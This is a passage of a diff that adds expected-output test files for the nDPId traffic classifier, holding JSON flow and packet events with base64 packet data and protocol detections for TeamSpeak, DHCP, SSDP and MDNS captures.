+00466{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"teamspeak3.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":946745680740,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"10.0.0.2","src_port":53187,"dst_port":9987,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"teamspeak3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946745680,"pkt_ts_usec":740311,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"REREREREZmZmZmZmCABFAAA+yVhAAHgRnjQKAAABCgAAAs\/DJwMAKptdVFMzSU5JVDEAZQAAiA3QV2YAX1kW4K3na2EAAAAAAAAAAA=="} +00500{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"teamspeak3.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":946745680740,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"10.0.0.2","src_port":53187,"dst_port":9987,"l4_proto":"udp","ndpi": {"proto":"TeamSpeak","breed":"Acceptable","category":"VoIP"}} +00650{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"teamspeak3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946745680,"pkt_ts_usec":740373,"pkt_caplen":230,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":230,"pkt_l4_len":196,"pkt":"REREREREZmZmZmZmCABFAADYyVlAAHgRnZkKAAABCgAAAs\/DJwMAxJv3eXRj6JO6fmAAAAAAIp10i0Wqe++5nv6tCBm6z0HgFqIVc9rwk+JLXtHwnSIOS9qVPnECnykaLcJG8hX08WvnftBqcJmqRqZMetkjLRcZ56Qb0yr7w3DD9zi02VU5x7l+AWx+kCtuxsALbdDKU+g3u9+7M\/R0k3h6Cj2dgqVHMwYrJL8wicW8AZK\/KfPOtEoKiRpNuYkxO9WWvZSdqdAZVZGl4X6vDNBIwrDu7kll5TuFIGNHjpSa9tdfD6M="} +00441{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"teamspeak3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946745681,"pkt_ts_usec":306941,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"REREREREZmZmZmZmCABFAAA+yX1AAHgRng8KAAABCgAAAs\/DJwMAKptdVFMzSU5JVDEAZQAAiA3QV2YAX1kW4K3na2IAAAAAAAAAAA=="} +00650{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"teamspeak3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946745681,"pkt_ts_usec":306983,"pkt_caplen":230,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":230,"pkt_l4_len":196,"pkt":"REREREREZmZmZmZmCABFAADYyX5AAHgRnXQKAAABCgAAAs\/DJwMAxJv3eXRj6JO6fmAAAAAAIp10i0Wqe++5nv6tCBm6z0HgFqIVc9rwk+JLXtHwnSIOS9qVPnECnykaLcJG8hX08WvnftBqcJmqRqZMetkjLRcZ56Qb0yr7w3DD9zi02VU5x7l+AWx+kCtuxsALbdDKU+g3u9+7M\/R0k3h6Cj2dgqVHMwYrJL8wicW8AZK\/KfPOtEoKiRpNuYkxO9WWvZSdqdAZVZGl4X6vDNBIwrDu7kll5TuFIGNHjpSa9tdfD6M="} +00439{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"teamspeak3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946745682,"pkt_ts_usec":7760,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"REREREREZmZmZmZmCABFAAA+yf1AAHgRnY8KAAABCgAAAs\/DJwMAKptdVFMzSU5JVDEAZQAAiA3QV2YAX1kW4K3na2MAAAAAAAAAAA=="} +00648{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"teamspeak3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946745682,"pkt_ts_usec":7779,"pkt_caplen":230,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":230,"pkt_l4_len":196,"pkt":"REREREREZmZmZmZmCABFAADYyf5AAHgRnPQKAAABCgAAAs\/DJwMAxJv3eXRj6JO6fmAAAAAAIp10i0Wqe++5nv6tCBm6z0HgFqIVc9rwk+JLXtHwnSIOS9qVPnECnykaLcJG8hX08WvnftBqcJmqRqZMetkjLRcZ56Qb0yr7w3DD9zi02VU5x7l+AWx+kCtuxsALbdDKU+g3u9+7M\/R0k3h6Cj2dgqVHMwYrJL8wicW8AZK\/KfPOtEoKiRpNuYkxO9WWvZSdqdAZVZGl4X6vDNBIwrDu7kll5TuFIGNHjpSa9tdfD6M="} +00439{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"teamspeak3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946745683,"pkt_ts_usec":9026,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"REREREREZmZmZmZmCABFAAA+yhFAAHgRnXsKAAABCgAAAs\/DJwMAKptdVFMzSU5JVDEAZQAAiA3QV2YAX1kW4K3na2QAAAAAAAAAAA=="} +00648{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"teamspeak3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946745683,"pkt_ts_usec":9052,"pkt_caplen":230,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":230,"pkt_l4_len":196,"pkt":"REREREREZmZmZmZmCABFAADYyhJAAHgRnOAKAAABCgAAAs\/DJwMAxJv3eXRj6JO6fmAAAAAAIp10i0Wqe++5nv6tCBm6z0HgFqIVc9rwk+JLXtHwnSIOS9qVPnECnykaLcJG8hX08WvnftBqcJmqRqZMetkjLRcZ56Qb0yr7w3DD9zi02VU5x7l+AWx+kCtuxsALbdDKU+g3u9+7M\/R0k3h6Cj2dgqVHMwYrJL8wicW8AZK\/KfPOtEoKiRpNuYkxO9WWvZSdqdAZVZGl4X6vDNBIwrDu7kll5TuFIGNHjpSa9tdfD6M="} +00441{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"teamspeak3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946745684,"pkt_ts_usec":310389,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"REREREREZmZmZmZmCABFAAA+yr1AAHgRnM8KAAABCgAAAs\/DJwMAKptdVFMzSU5JVDEAZQAAiA3QV2YAX1kW4K3na2UAAAAAAAAAAA=="} +00652{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"teamspeak3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946745684,"pkt_ts_usec":410552,"pkt_caplen":230,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":230,"pkt_l4_len":196,"pkt":"REREREREZmZmZmZmCABFAADYytBAAHgRnCIKAAABCgAAAs\/DJwMAxJv3eXRj6JO6fmAAAAAAIp10i0Wqe++5nv6tCBm6z0HgFqIVc9rwk+JLXtHwnSIOS9qVPnECnykaLcJG8hX08WvnftBqcJmqRqZMetkjLRcZ56Qb0yr7w3DD9zi02VU5x7l+AWx+kCtuxsALbdDKU+g3u9+7M\/R0k3h6Cj2dgqVHMwYrJL8wicW8AZK\/KfPOtEoKiRpNuYkxO9WWvZSdqdAZVZGl4X6vDNBIwrDu7kll5TuFIGNHjpSa9tdfD6M="} +00443{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"teamspeak3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946745717,"pkt_ts_usec":152877,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"YDjgxTWgZmZmZmZmCABFAAA+24JAAK8RVQoKAAABCgAAAs\/DJwMAKptdVFMzSU5JVDEAZQAAiA3QV2YAX1kXBU+nh1IAAAAAAAAAAA=="} +00655{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"teamspeak3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946745717,"pkt_ts_usec":152941,"pkt_caplen":229,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":229,"pkt_l4_len":195,"pkt":"YDjgxTWgZmZmZmZmCABFAADX24NAAK8RVHAKAAABCgAAAs\/DJwMAw5v2GKGXKYQPUukAAAAAIp10i0Wqe++5nv6tCBm6z0HgFqIrSNf449weIP3Mtxs2f5CVIz4AlysccbJOh2Hx12\/FfvZIUr+CaqJ1NptjWD4c\/54KoGPBsG2TxDXHlEIv0\/gMC2N1sDtT78ZQaJDzVZlIiJ77J6cpv3JiGD+0usMBNzYePKwevp\/qOojGedOx6lkmihZs5dImFMit4tG7yLMrbaiHxknDDM0H2fni\/wB8qDeNKn5ajIuG8cxGCA=="} +00443{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"teamspeak3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946745717,"pkt_ts_usec":746131,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"REREREREZmZmZmZmCABFAAA+3ANAAK8RVIkKAAABCgAAAs\/DJwMAKptdVFMzSU5JVDEAZQAAiA3QV2YAX1kXBU+nh1MAAAAAAAAAAA=="} diff --git a/test/results/telegram.pcap.out b/test/results/telegram.pcap.out new file mode 100644 index 000000000..3d042ffa0 --- /dev/null +++ b/test/results/telegram.pcap.out @@ -0,0 +1,473 @@ +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"telegram.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1588779596451,"flow_last_seen":0,"flow_tot_l4_data_len":287,"flow_min_l4_data_len":287,"flow_max_l4_data_len":287,"flow_avg_l4_data_len":287,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.1","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00780{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779596,"pkt_ts_usec":451825,"pkt_caplen":321,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":321,"pkt_l4_len":287,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWrCABFAAEzGJVAAEARYHzAqAAB\/\/\/\/\/wBEAEMBHwAAAQEGANsCwWgAAIAAAAAAAAAAAAAAAAAAAAAAANgNF9ZVqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwIBAwwJVEwtU0cxMTZFPAlUTC1TRzExNkU9BwHYDRfWVav\/"} +00536{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"telegram.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1588779596451,"flow_last_seen":0,"flow_tot_l4_data_len":287,"flow_min_l4_data_len":287,"flow_max_l4_data_len":287,"flow_avg_l4_data_len":287,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.1","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","ndpi": {"proto":"DHCP","breed":"Acceptable","category":"Network"},"dhcp": {"fingerprint":"1,3"}} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2,"source":"telegram.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1588779596464,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.53","dst_ip":"239.255.255.250","src_port":54306,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00567{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779596,"pkt_ts_usec":464499,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"AQBef\/\/6wJrQLWJ0CABFAACavyQAAAERSFfAqAE17\/\/\/+tQiB2wAhkPyTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMQ0KU1Q6IHVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KDQoA"} +00511{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2,"source":"telegram.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1588779596464,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.53","dst_ip":"239.255.255.250","src_port":54306,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3,"source":"telegram.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1588779596464,"flow_last_seen":0,"flow_tot_l4_data_len":53,"flow_min_l4_data_len":53,"flow_max_l4_data_len":53,"flow_avg_l4_data_len":53,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.53","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779596,"pkt_ts_usec":464729,"pkt_caplen":87,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":87,"pkt_l4_len":53,"pkt":"AQBeAAD7wJrQLWJ0CABFAABJuJEAAAERXjrAqAE14AAA+xTpFOkANQuaAAAAAAABAAAAAAAAEF9zcG90aWZ5LWNvbm5lY3QEX3RjcAVsb2NhbAAADAAB"} +00552{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3,"source":"telegram.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1588779596464,"flow_last_seen":0,"flow_tot_l4_data_len":53,"flow_min_l4_data_len":53,"flow_max_l4_data_len":53,"flow_avg_l4_data_len":53,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.53","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_spotify-connect._tcp.local"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4,"source":"telegram.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1588779596465,"flow_last_seen":0,"flow_tot_l4_data_len":319,"flow_min_l4_data_len":319,"flow_max_l4_data_len":319,"flow_avg_l4_data_len":319,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.69","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00811{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779596,"pkt_ts_usec":465053,"pkt_caplen":353,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":353,"pkt_l4_len":319,"pkt":"AQBeAAD7eCjKBfrMCABFAAFTehJAAAERW5\/AqAFF4AAA+xTpFOkBP9DmAACEAAAAAAEAAAADEF9zcG90aWZ5LWNvbm5lY3QEX3RjcAVsb2NhbAAADAABAAAAeAAvEXNvbm9zNzgyOENBMDVGQUNDEF9zcG90aWZ5LWNvbm5lY3QEX3RjcAVsb2NhbAARc29ub3M3ODI4Q0EwNUZBQ0MQX3Nwb3RpZnktY29ubmVjdARfdGNwBWxvY2FsAAAQgAEAABGUAB0LVkVSU0lPTj0xLjAQQ1BhdGg9L3Nwb3RpZnl6YxFzb25vczc4MjhDQTA1RkFDQxBfc3BvdGlmeS1jb25uZWN0BF90Y3AFbG9jYWwAACGAAQAAAHgAHwAAAAAFeBFzb25vczc4MjhDQTA1RkFDQwVsb2NhbAARc29ub3M3ODI4Q0EwNUZBQ0MFbG9jYWwAAAGAAQAAAHgABMCoAUU="} +00556{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"telegram.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1588779596465,"flow_last_seen":0,"flow_tot_l4_data_len":319,"flow_min_l4_data_len":319,"flow_max_l4_data_len":319,"flow_avg_l4_data_len":319,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.69","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_spotify-connect._tcp.local"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5,"source":"telegram.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1588779596708,"flow_last_seen":0,"flow_tot_l4_data_len":108,"flow_min_l4_data_len":108,"flow_max_l4_data_len":108,"flow_avg_l4_data_len":108,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.75","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779596,"pkt_ts_usec":708234,"pkt_caplen":142,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":142,"pkt_l4_len":108,"pkt":"AQBeAAD7jP5XIzfkCABFAACAA9gAAP8RFKbAqAFL4AAA+xTpFOkAbODJAACEAAAAAAEAAAABBV9kYWNwBF90Y3AFbG9jYWwAAAwAAQAAAAAAHxxpVHVuZXNfQ3RybF80QUJCMzlBNDFFRUZERUIzwAwAACkFoAAAEZQAEgAEAA4A2a7+VyM35Iz+VyM35A=="} +00545{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":5,"source":"telegram.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1588779596708,"flow_last_seen":0,"flow_tot_l4_data_len":108,"flow_min_l4_data_len":108,"flow_max_l4_data_len":108,"flow_avg_l4_data_len":108,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.75","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_dacp._tcp.local"}} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6,"source":"telegram.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1588779596708,"flow_last_seen":0,"flow_tot_l4_data_len":108,"flow_min_l4_data_len":108,"flow_max_l4_data_len":108,"flow_avg_l4_data_len":108,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::4ba:91a:7817:e318","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00558{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779596,"pkt_ts_usec":708683,"pkt_caplen":162,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":162,"pkt_l4_len":108,"pkt":"MzMAAAD7jP5XIzfkht1gD8IfAGwR\/\/6AAAAAAAAABLoJGngX4xj\/AgAAAAAAAAAAAAAAAAD7FOkU6QBsHDYAAIQAAAAAAQAAAAEFX2RhY3AEX3RjcAVsb2NhbAAADAABAAAAAAAfHGlUdW5lc19DdHJsXzRBQkIzOUE0MUVFRkRFQjPADAAAKQWgAAARlAASAAQADgDZrv5XIzfkjP5XIzfk"} +00553{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":6,"source":"telegram.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1588779596708,"flow_last_seen":0,"flow_tot_l4_data_len":108,"flow_min_l4_data_len":108,"flow_max_l4_data_len":108,"flow_avg_l4_data_len":108,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::4ba:91a:7817:e318","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_dacp._tcp.local"}} +00653{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779597,"pkt_ts_usec":257598,"pkt_caplen":233,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":233,"pkt_l4_len":199,"pkt":"AQBeAAD7jP5XIzfkCABFAADbeQgAAP8RnxrAqAFL4AAA+xTpFOkAx\/OHAAAAAAAFAAAAAQABD19jb21wYW5pb24tbGluawRfdGNwBWxvY2FsAAAMgAEIX2hvbWVraXTAHAAMgAEIX2FpcnBsYXnAHAAMgAEFX3Jhb3DAHAAMgAEcaVR1bmVzX0N0cmxfNEFCQjM5QTQxRUVGREVCMwVfZGFjcMAcAP+AAcBWACEAAQAAAHgAFwAAAADHIw5HYWJyaWVsZXMtaVBhZMAhAAApBaAAABGUABIABAAOANqu\/lcjN+SM\/lcjN+Q="} +00683{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779597,"pkt_ts_usec":258319,"pkt_caplen":253,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":253,"pkt_l4_len":199,"pkt":"MzMAAAD7jP5XIzfkht1gD8IfAMcR\/\/6AAAAAAAAABLoJGngX4xj\/AgAAAAAAAAAAAAAAAAD7FOkU6QDHLvQAAAAAAAUAAAABAAEPX2NvbXBhbmlvbi1saW5rBF90Y3AFbG9jYWwAAAyAAQhfaG9tZWtpdMAcAAyAAQhfYWlycGxhecAcAAyAAQVfcmFvcMAcAAyAARxpVHVuZXNfQ3RybF80QUJCMzlBNDFFRUZERUIzBV9kYWNwwBwA\/4ABwFYAIQABAAAAeAAXAAAAAMcjDkdhYnJpZWxlcy1pUGFkwCEAACkFoAAAEZQAEgAEAA4A2q7+VyM35Iz+VyM35A=="} +00752{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779597,"pkt_ts_usec":258438,"pkt_caplen":308,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":308,"pkt_l4_len":274,"pkt":"AQBeAAD7jP5XIzfkCABFAAEmpacAAP8RcjDAqAFL4AAA+xTpFOkBEl+aAACEAAAAAAMAAAADCV9zZXJ2aWNlcwdfZG5zLXNkBF91ZHAFbG9jYWwAAAwAAQAAEZQADQVfZGFjcARfdGNwwCMBOAExATMBRQE3ATEBOAE3AUEBMQE5ATABQQFCATQBMAEwATABMAEwATABMAEwATABMAEwATABMAEwATgBRQFGA2lwNgRhcnBhAAAMgAEAAAB4ABEOR2FicmllbGVzLWlQYWTAIwI3NQExAzE2OAMxOTIHaW4tYWRkcsCFAAyAAQAAAHgAAsCVwEEAL4ABAAAAeAAGwEEAAgAIwKYAL4ABAAAAeAAGwKYAAgAIAAApBaAAABGUABIABAAOANqu\/lcjN+SM\/lcjN+Q="} +00783{"flow_id":6,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779597,"pkt_ts_usec":258687,"pkt_caplen":328,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":328,"pkt_l4_len":274,"pkt":"MzMAAAD7jP5XIzfkht1gD8IfARIR\/\/6AAAAAAAAABLoJGngX4xj\/AgAAAAAAAAAAAAAAAAD7FOkU6QESmwYAAIQAAAAAAwAAAAMJX3NlcnZpY2VzB19kbnMtc2QEX3VkcAVsb2NhbAAADAABAAARlAANBV9kYWNwBF90Y3DAIwE4ATEBMwFFATcBMQE4ATcBQQExATkBMAFBAUIBNAEwATABMAEwATABMAEwATABMAEwATABMAEwATABOAFFAUYDaXA2BGFycGEAAAyAAQAAAHgAEQ5HYWJyaWVsZXMtaVBhZMAjAjc1ATEDMTY4AzE5Mgdpbi1hZGRywIUADIABAAAAeAACwJXAQQAvgAEAAAB4AAbAQQACAAjApgAvgAEAAAB4AAbApgACAAgAACkFoAAAEZQAEgAEAA4A2q7+VyM35Iz+VyM35A=="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":11,"source":"telegram.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1588779597291,"flow_last_seen":0,"flow_tot_l4_data_len":286,"flow_min_l4_data_len":286,"flow_max_l4_data_len":286,"flow_avg_l4_data_len":286,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.75","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00769{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779597,"pkt_ts_usec":291316,"pkt_caplen":320,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":320,"pkt_l4_len":286,"pkt":"jP5XIzfkKDc3AG3ICABFAAEy\/KUAAP8ROizAqAFNwKgBSxTpFOkBHhkOAACEAAAAAAEAAAAED19jb21wYW5pb24tbGluawRfdGNwBWxvY2FsAAAMAAEAABGUABANTHVjYeKAmXMgaU1hY8AMwDIAIYABAAAAeAATAAAAAMAFCkx1Y2FzLWlNYWPAIcAyABCAAQAAEZQAWBZycEJBPTM5OjJBOjg4OkFDOjQxOkFCCnJwVnI9MTUyLjERcnBIST1mOWM0NmM2ZGQwN2QRcnBITj0zYzVkYzVjZTk1NzgRcnBIQT04Y2E4Y2I3MzFjMWMNTHVjYeKAmXMgaU1hYwxfZGV2aWNlLWluZm\/AHAA